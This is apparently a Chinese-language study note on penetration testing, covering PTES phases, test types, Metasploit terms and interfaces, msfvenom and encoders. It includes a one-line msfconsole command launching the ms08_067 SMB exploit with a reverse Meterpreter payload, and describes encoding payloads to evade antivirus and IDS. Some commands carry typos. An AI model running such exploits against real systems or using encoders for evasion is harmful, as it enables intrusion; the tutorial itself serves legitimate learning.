渗透测试流程和类型
渗透测试流程
渗透测试执行标准(PTES:Penetration Testing Execution Standard)对渗透测试进行了定义。
- 前期交互阶段
- 情报搜集阶段
- 威胁建模阶段
- 漏洞分析阶段
- 渗透攻击阶段
- 后渗透攻击阶段
- 报告阶段
每个阶段现在不作详细的介绍,在后面会有针对性的讲解。对一些靶机的渗透过程中,会综合运用以上的阶段。当然,标准是灵活的,我们一样可以按照自己的习惯和经验来制定自己的渗透测试流程。像我在读的另外一本书《黑客秘笈——渗透测试使用指南(第2版)》(英文原著已经到第3版,只是还没有中文译本),笔者就有自己的一套渗透测试流程,或许这套流程更适合自己。
渗透测试类型
- 白盒测试
拥有所有的内部知识,在不需要害怕被阻断的情况下任意地实施攻击。 - 黑盒测试
不了解客户组织大部分信息和知识,模拟攻击者的入侵行为,费时费力,需要具备更强的技术能力。 - 灰盒测试
上面两者的组合,已经了解部分内部知识(结构拓扑图、访问凭证、应用使用手册等)。
Metasploit基础
接口
选项
变量
模块
...
专业术语
1. Exploit_渗透攻击
攻击者利用一个安全漏洞所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(如SQL注入),及利用配置错误等。
2. Payload_攻击载荷
是我们期望目标系统在被渗透攻击之后去执行的代码。
3. shellcode
在渗透攻击时作为攻击载荷运行的一组机器命令。shellcode通常以汇编语言编写。
4. Module_模块
一个模块是指Metasploit框架中所使用的一段软件代码组件。
比如说:渗透攻击模块(exploit module),辅助模块(auxiliary module)
5. Listener_监听器
等待被渗透主机连入网络的连接的组件
接口
1. MSF终端
msfconsole
启动
help 命令
查看命令帮助,如 help connect
,查看connect
命令的相关选项。
2. MSF命令行
命令行和终端的区别:
终端以一种用户友好的模式提供交互方式。
命令行主要考虑对脚本处理和与其他命令行工具的互操作性。简单说就是一行命令直接解决,不像终端那样交互几次。
在2015年1月份,Metasploit 官方宣布不再支持msfcli
命令行工具,作为替代方案,建议使用MSF终端的“-x”选项。
如:
./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"
3. Armitage
完全交互式的图形化用户接口。跟终端的区别在于可以图形化选择模块,已经集成在kali上。
Metasploit功能程序
就是指在某些特殊场合下最常用的功能。
1. MSF攻击载荷生成器
MSF攻击载荷生成器允许你能够生成shellcode、可执行代码和其他更多的东西,也可以让它们在框架软件之外的渗透代码中进行使用。
msfpayload
已经被弃用,取而代之的是集成了攻击载荷生成
和编码
的msfvenom
。
如果对某个攻击载荷的模块不清楚配置,使用payload-options
root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options
2. MSF编码器
为什么要使用编码器:
-
由MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些
null空字符
,在一些程序进行解析时,这些空字符会被认为是字符串的结束,从而使得代码在完整执行之前被截断而终止运行。简单来说,这些\x00和\xff字符会破坏你的攻击载荷。 -
在网络上明文传输的shellcode很可能被入侵检测系统(IDS)和杀毒软件所识别,为了解决这一问题,MSF编码器来啦!它可以帮助你通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和IDS的检测。
3. Nasm shell
在进行渗透代码开发时(绝对是大神级别了),需要对给定的汇编命令找出它的opcode操作码,nasm就特别舒服了!
网友评论